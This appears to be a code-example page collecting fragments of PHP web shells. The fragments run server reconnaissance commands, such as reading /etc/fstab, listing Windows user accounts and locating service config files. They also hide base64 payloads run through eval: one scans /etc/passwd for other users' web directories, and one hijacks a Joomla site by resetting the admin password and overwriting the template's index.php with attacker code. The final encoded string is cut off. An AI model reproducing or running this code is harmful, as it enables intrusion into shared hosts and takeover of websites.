displaysecinfo("RAM", myshellexec("free -m"));
     displaysecinfo("HDD space", myshellexec("df -h"));
     displaysecinfo("List of Attributes", myshellexec("lsattr -a"));
     displaysecinfo("Mount options ", myshellexec("cat /etc/fstab"));
     displaysecinfo("Is cURL installed?", myshellexec("which curl"));
     displaysecinfo("Is lynx installed?", myshellexec("which lynx"));
     displaysecinfo("Is links installed?", myshellexec("which links"));
     displaysecinfo("Is fetch installed?", myshellexec("which fetch"));
     displaysecinfo("Is GET installed?", myshellexec("which GET"));
     displaysecinfo("Is perl installed?", myshellexec("which perl"));
     displaysecinfo("Where is apache", myshellexec("whereis apache"));
     displaysecinfo("Where is perl?", myshellexec("whereis perl"));
     displaysecinfo("locate proftpd.conf", myshellexec("locate proftpd.conf"));
     displaysecinfo("locate httpd.conf", myshellexec("locate httpd.conf"));
     displaysecinfo("locate my.conf", myshellexec("locate my.conf"));
     displaysecinfo("locate psybnc.conf", myshellexec("locate psybnc.conf"));
 }
 if ($act == "mkfile") {
     if ($mkfile != $d) {
         if (file_exists($mkfile)) {
             echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: object alredy exists";
         } elseif (!fopen($mkfile, "w")) {
             echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: access denied";
         } else {
             $act = "f";
             $d = dirname($mkfile);
             if (substr($d, -1) != DIRECTORY_SEPARATOR) {
                 $d .= DIRECTORY_SEPARATOR;
             }
             $f = basename($mkfile);
         }
Ejemplo n.º 2
0
         displaysecinfo("HDD Space", dQ99exec("df -h"));
         displaysecinfo("List of Attributes", dQ99exec("lsattr -a"));
         displaysecinfo("Mount Options", dQ99exec("cat /etc/fstab"));
         displaysecinfo("lynx installed?", dQ99exec("which lynx"));
         displaysecinfo("links installed?", dQ99exec("which links"));
         displaysecinfo("GET installed?", dQ99exec("which GET"));
         displaysecinfo("Where is Apache?", dQ99exec("whereis apache"));
         displaysecinfo("Where is perl?", dQ99exec("whereis perl"));
         displaysecinfo("Locate proftpd.conf", dQ99exec("locate proftpd.conf"));
         displaysecinfo("Locate httpd.conf", dQ99exec("locate httpd.conf"));
         displaysecinfo("Locate my.conf", dQ99exec("locate my.conf"));
         displaysecinfo("Locate psybnc.conf", dQ99exec("locate psybnc.conf"));
     } else {
         displaysecinfo("OS Version", dQ99exec("ver"));
         displaysecinfo("Account Settings", dQ99exec("net accounts"));
         displaysecinfo("User Accounts", dQ99exec("net user"));
     }
     echo "</table>\n";
 }
 if ($act == "mkfile") {
     if ($mkfile != $d) {
         if ($overwrite == 0) {
             if (file_exists($mkfile)) {
                 echo "<b>FILE EXIST:</b> {$overwrite} " . htmlspecialchars($mkfile);
             }
         } else {
             if (!fopen($mkfile, "w")) {
                 echo "<b>ACCESS DENIED:</b> " . htmlspecialchars($mkfile);
             } else {
                 $act = "f";
                 $d = dirname($mkfile);
         displaysecinfo("M0un7 0p710n5", s3x3c("cat /etc/fstab"));
         displaysecinfo("cURL 1n574ll3d?", s3x3c("which curl"));
         displaysecinfo("lynx 1n574ll3d?", s3x3c("which lynx"));
         displaysecinfo("links 1n574ll3d?", s3x3c("which links"));
         displaysecinfo("fetch 1n574ll3d?", s3x3c("which fetch"));
         displaysecinfo("GET 1n574ll3d?", s3x3c("which GET"));
         displaysecinfo("perl 1n574ll3d?", s3x3c("which perl"));
         displaysecinfo("Where is Apache?", s3x3c("whereis apache"));
         displaysecinfo("Where is perl?", s3x3c("whereis perl"));
         displaysecinfo("Locate proftpd.conf", s3x3c("locate proftpd.conf"));
         displaysecinfo("Locate httpd.conf", s3x3c("locate httpd.conf"));
         displaysecinfo("Locate my.conf", s3x3c("locate my.conf"));
         displaysecinfo("Locate psybnc.conf", s3x3c("locate psybnc.conf"));
     } else {
         displaysecinfo("OS V3rs10n", s3x3c("ver"));
         displaysecinfo("4cc0un7 53771ngs", s3x3c("net accounts"));
     }
     echo "</table>\n";
 }
 if ($antisec == "mkfile") {
     if ($mkfile != $d) {
         if (file_exists($mkfile)) {
             echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: object already exists!";
         } elseif (!fopen($mkfile, "w")) {
             echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: access denied!";
         } else {
             $antisec = "f";
             $d = dirname($mkfile);
             if (substr($d, -1) != DIRECTORY_SEPARATOR) {
                 $d .= DIRECTORY_SEPARATOR;
             }
Ejemplo n.º 4
0
         displaysecinfo("Mount Options", myshellexec("cat /etc/fstab"));
         displaysecinfo("cURL installed?", myshellexec("which curl"));
         displaysecinfo("lynx installed?", myshellexec("which lynx"));
         displaysecinfo("links installed?", myshellexec("which links"));
         displaysecinfo("fetch installed?", myshellexec("which fetch"));
         displaysecinfo("GET installed?", myshellexec("which GET"));
         displaysecinfo("perl installed?", myshellexec("which perl"));
         displaysecinfo("Where is Apache?", myshellexec("whereis apache"));
         displaysecinfo("Where is perl?", myshellexec("whereis perl"));
         displaysecinfo("Locate proftpd.conf", myshellexec("locate proftpd.conf"));
         displaysecinfo("Locate httpd.conf", myshellexec("locate httpd.conf"));
         displaysecinfo("Locate my.conf", myshellexec("locate my.conf"));
         displaysecinfo("Locate psybnc.conf", myshellexec("locate psybnc.conf"));
     } else {
         displaysecinfo("OS Version", myshellexec("ver"));
         displaysecinfo("Account Settings", myshellexec("net accounts"));
     }
     echo "</table>\n";
 }
 if ($x == "jump") {
     $ngipmuj = base64_decode("YmFyX2hlYWRlcigiLjogSnVtcGluZyA6LiIpOw0KCSgkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/ICRzbSA9ICdvZmYnOiBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5FcnJvcjogU2FmZV9tb2RlID0gT248L2I+PC9mb250PicpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQpAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgeyBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5bLV0gRXJyb3IgOiBDb3VkbmB0IFJlYWQgL2V0Yy9wYXNzd2Q8L2I+PC9mb250PicpOyB9DQokcHViID0gYXJyYXkoKTsNCiR1c2VycyA9IGFycmF5KCk7DQokY29uZiA9IGFycmF5KCk7DQokaSA9IDA7DQp3aGlsZSghZmVvZigkcGFzc3dkKSkNCnsNCiRzdHIgPSBmZ2V0cygkcGFzc3dkKTsNCmlmICgkaSA+IDEwMCkNCnsNCiAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQogICR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7DQogICRkaXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsNCiAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKQ0KICB7DQogICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKQ0KICAgew0KICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQogICAgYXJyYXlfcHVzaCgkcHViLCRkaXJ6KTsNCiAgIH0NCiAgfQ0KICAgfQ0KJGkrKzsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz48YnI+Wy1dPT09PT09PT09PT09PT09PT09WyBTVEFSVCBdPT09PT09PT09PT09PT09PT09Wy1dICA8YnI+PC9mb250PlxuIjsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjxmb250IHNpemU9JzMnIGNvbG9yPScjZWUwODA4JyBmYWNlPSdDYWxpYnJpJz4gWytdIC9ob21lLyR1c2VyL3B1YmxpY19odG1sLzwvZm9udD48YnIvPiI7DQp9DQplY2hvICJcbiA8Zm9udCBzaXplPSczJyBjb2xvcj0nIzAwODA4MCcgZmFjZT0nQ2FsaWJyaSc+PGJyPlstXT09PT09PT09PT09PT09PT09PVsgRklOSVNIIF09PT09PT09PT09PT09PT09PT1bLV0gPGJyPjwvZm9udD5cbiI7DQplY2hvICJcbiA8Zm9udCBzaXplPScyJyBjb2xvcj0nIzgwMDAwMCcgZmFjZT0nQ2FsaWJyaSc+SnVtcGluZyBTY2FubmVyIGlzIENvbXBsZXRlZCE8L2ZvbnQ+XG4iOw==");
     eval($ngipmuj);
 }
 if ($x == "joomla") {
     $almooj = base64_decode("aWYgKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSkNCnsNCg0KJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7DQoNCiAkZGJwcmVmaXg9KCRfUE9TVFsnZGJfcHJlZml4J10pOw0KICR1c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRibmFtZT0oJF9QT1NUWydkYl9uYW1lJ10pOw0KICAkc2l0ZV91cmw9KCRfUE9TVFsnc2l0ZV91cmwnXSk7DQoNCiRjbz1yYW5kb210KCk7DQoNCg0KDQogICAgICAkbGluaz1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCR1c2VybmFtZSwkcGFzc3dvcmQpIDsNCg0KICAgICAgICAgbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsJGxpbmspIDsNCg0KJHRyeUNoYW5pbmdJbmZvID0gbXlzcWxfcXVlcnkoIlVQREFURSAiLiRkYnByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nYWRtaW4nICwgcGFzc3dvcmQgPSAnNTNlY2I0OGY5ZTVhNjhmNGNhODc5MjIzZDBkZWZhYjInIik7DQplY2hvKCI8YnI+WytdIENoYW5naW5nIGFkbWluIHBhc3N3b3JkIHRvIHphbXphbWJhbGkiKTsJDQoJCSANCgkJICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguImV4dGVuc2lvbnNgICIpOw0KCQkgDQppZiAoICRyZXEgKQ0Kew0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICAgIFYxLjYgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoJCQ0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4idGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBjbGllbnRfaWQ9JzAnIGFuZCBob21lPScxJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQoNCiRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguImV4dGVuc2lvbnNgIFdIRVJFIG5hbWU9JyIuJHRlbXBsYXRlX25hbWUuIiciKTsNCgkgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiR0ZW1wbGF0ZV9pZD0kZGF0YVsiZXh0ZW5zaW9uX2lkIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQoNCg0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcmV0dXJuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZXR1cm4iIHZhbHVlPSInLCciJyk7DQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsInVzZXJuYW1lPWFkbWluJnBhc3N3ZD16YW16YW1iYWxpJm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiZyZXR1cm49Ii4kcmV0dXJuLiImIi4kaGlkZGVuLiI9MSIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsImNvbV9jb25maWciKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQplY2hvKCI8YnI+Wy1dIExvZ2luIEVycm9yIik7DQpleGl0Ow0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+WytdIExvZ2luIFN1Y2Nlc3NmdWwiKTsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9c291cmNlLmVkaXQmaWQ9Ii5iYXNlNjRfZW5jb2RlKCR0ZW1wbGF0ZV9pZC4iOmluZGV4LnBocCIpOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRoaWRkZW4yPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMik7DQppZigkaGlkZGVuMikgew0KZWNobygiPGJyPlsrXSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQpleGl0Ow0KfQ0KZWNobygiPGJyPlsqXSBVcGRhdGluZyBJbmRleC5waHAgLi4uLi4iKTsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsImpmb3JtW3NvdXJjZV09Ii4kaC4iJmpmb3JtW2ZpbGVuYW1lXT1pbmRleC5waHAmamZvcm1bZXh0ZW5zaW9uX2lkXT0iLiR0ZW1wbGF0ZV9pZC4iJiIuJGhpZGRlbjIuIj0xJnRhc2s9c291cmNlLnNhdmUiKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIj4nKTsNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQplY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBJbmRleC5waHAgc3VjY2Vzc2Z1bGx5IHNhdmVkIik7DQp9DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgIFYxLjYgIEVORCAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCg0KfQ0KZWxzZQ0Kew0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgIFYxLjUgICAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoJCSANCiRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguInRlbXBsYXRlc19tZW51YCBXSEVSRSBjbGllbnRfaWQ9JzAnIik7DQoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRoaWRkZW49ZW50cmUydjIoJGJ1ZmZlciAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IicsJyIgdmFsdWU9IjEiJywzKTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsInVzZXJuYW1lPWFkbWluJnBhc3N3ZD16YW16YW1iYWxpJm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KDQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBMb2dpbiBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBMb2dpbiBTdWNjZXNzZnVsIik7DQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOw0KDQppZigkaGlkZGVuMikgew0KZWNobygiPGJyPlsrXSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQp9DQoNCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmbGF5b3V0PWVkaXQiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kaC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQoNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UgZmFkZSI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KZWNobygiPGJyPlstXSBVcGRhdGluZyBJbmRleC5waHAgRXJyb3IiKTsNCmV4aXQ7DQp9DQplbHNlIHsNCmVjaG8oIjxicj5bK10gSW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQp9DQoNCn0NCg0KDQpmdW5jdGlvbiByYW5kb210KCkgeyANCg0KICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsgDQogICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsgDQogICAgJGkgPSAwOyANCiAgICAkcGFzcyA9ICcnIDsgDQoNCiAgICB3aGlsZSAoJGkgPD0gNykgeyANCiAgICAgICAgJG51bSA9IHJhbmQoKSAlIDMzOyANCiAgICAgICAgJHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyANCiAgICAgICAgJHBhc3MgPSAkcGFzcyAuICR0bXA7IA0KICAgICAgICAkaSsrOyANCiAgICB9IA0KDQogICAgcmV0dXJuICRwYXNzOyANCg0KfQ0KDQpmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKQ0KDQp7DQoNCiRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7DQokYXI9dHJpbSgkYXIxWzBdKTsNCnJldHVybiAkYXI7DQp9DQplY2hvICINClxuIjsgDQplY2hvICI8dGl0bGU+Ljo6IEJhbmd6YXQgOjouPC90aXRsZT4gDQpcbiI7IA0KZWNobyAiPGJvZHkgYmdjb2xvcj1cIiMwMDAwMDBcIj4NClxuIjsgDQplY2hvICIgPHN0eWxlPg0KXG4iOyANCmV